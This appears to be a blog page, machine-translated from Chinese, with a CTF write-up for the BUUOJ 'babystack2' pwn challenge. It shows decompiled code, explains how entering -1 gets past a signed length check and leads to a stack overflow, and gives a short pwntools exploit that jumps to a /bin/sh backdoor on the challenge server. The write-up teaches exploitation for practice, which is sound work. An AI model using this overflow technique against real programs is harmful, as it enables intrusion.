当前位置:网站首页>【CTF】bjdctf_ 2020_ babystack2
【CTF】bjdctf_ 2020_ babystack2
2022-07-02 00:19:00 【delta_ hell】
Topic analysis
Decompile , Look for loopholes
main function :
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor function :
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
The meaning of the topic is obvious , Backdoor functions have been provided , As long as you can jump over it .
Look again main function ,read Function is obviously a utilization point , Using variables local_c Can create overflow .
Of course , It's not that simple , There is a length limit ahead
if (10 < (int)local_c)
however , This is also simple , Isn't it ? Integer overflow , A whole negative number , It just becomes ~~~
The fact proved that , The idea is completely correct , But the process is too tortuous , Briefly describe :
Native overflow will fail , stay ubuntu On , Input -1,read Will return directly to ; stay windows Experiment , Input -1,read Pop up window , Tips
buf len < INT_MAX Condition not satisfied , This is obvious ,read There are input restrictions . Studied for a long time , No solution found , Because of the length limit ,
Negative numbers must be used , Otherwise, it cannot overflow , And even if INT_MIN, Convert to unsigned number , Still 2147483648, still > INT_MAX; At that time
I doubt life .
Their thinking
Thinking is the process of analyzing the above topic , Absolutely right , Take the target directly and verify it OK Of ,-1 Can exceed the length limit , meanwhile read Don't complain ( No tears to cry )
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
The consequences of not being able to verify locally , The overflow length is guessed .
summary
When there is nothing wrong with your thinking , Test the target machine in time . But adjusting this machine is still interesting , Although the final result was not found , such as ubuntu On , Wrote a test demo, Remove length verification , result read As long as it is not greater than 3652 Is no problem , Over time errno Will report Bad address, Follow windows It's not the same , however 3652 This value doesn't make any sense , Doubt life again ~~~ After work, don't worry , There is a tone in the back glibc Take a look when you have a chance .
边栏推荐
- Which app is better and more secure for stock mobile account opening
- 九州云与英特尔联合发布智慧校园私有云框架,赋能教育新基建
- GaussDB(for MySQL) :Partial Result Cache,通过缓存中间结果对算子进行加速
- SQL Server Installation Guide
- 【opencv】train&test HOG+SVM
- cookie、session、tooken
- Talents come from afar, and Wangcheng district has consolidated the intellectual base of "strengthening the provincial capital"
- 下载在线视频 m3u8使用教程
- vs2015 AdminDeployment. xml
- Heketi record
猜你喜欢

LeetCode中等题题分享(5)

Ldr6035 smart Bluetooth audio can be charged and released (5.9.12.15.20v) fast charging and fast releasing device charging

Selectively inhibiting learning bias for active sampling

S32Kxxx bootloader之UDS bootloader

Shell process control

Graduation season is both a farewell and a new beginning

Database -- sqlserver details

SQL Server Installation Guide

Multi table operation - one to one, one to many and many to many
![[cmake] cmake configuration in QT Creator](/img/e3/1cf76f88eaddb5d32184523dfb049c.png)
[cmake] cmake configuration in QT Creator
随机推荐
E-commerce RPA robot helps brand e-commerce to achieve high traffic
The difference between timer and scheduledthreadpoolexecutor
Ldr6035 smart Bluetooth audio can continuously charge and discharge mobile devices
What is ThreadLocal memory leak and how to solve it
关联性——组内相关系数
Ldr6035 smart Bluetooth audio can be charged and released (5.9.12.15.20v) fast charging and fast releasing device charging
export default 导出的对象,不能解构问题,和module.exports的区别
【CMake】Qt creator 里面的 cmake 配置
Shell process control
Windows 7 install MySQL error: 1067
Window sorting functions rank and deny for SQL data analysis_ rank、raw_ Number and lag, lead window offset function [usage sorting]
cookie、session、tooken
UDS bootloader of s32kxxx bootloader
ADO. Net SqlCommand object
北京炒股开户选择手机办理安全吗?
What is the purpose of ERP project implementation plan?
Using SqlCommand objects in code
Node——Egg 创建本地文件访问接口
使用多线程Callable查询oracle数据库
Is it safe and reliable to open an account in Caixue school and make new debts?